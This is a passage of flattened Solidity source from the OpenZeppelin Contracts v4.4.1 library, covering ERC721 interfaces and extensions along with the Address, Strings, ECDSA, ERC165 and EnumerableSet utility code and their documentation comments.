function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
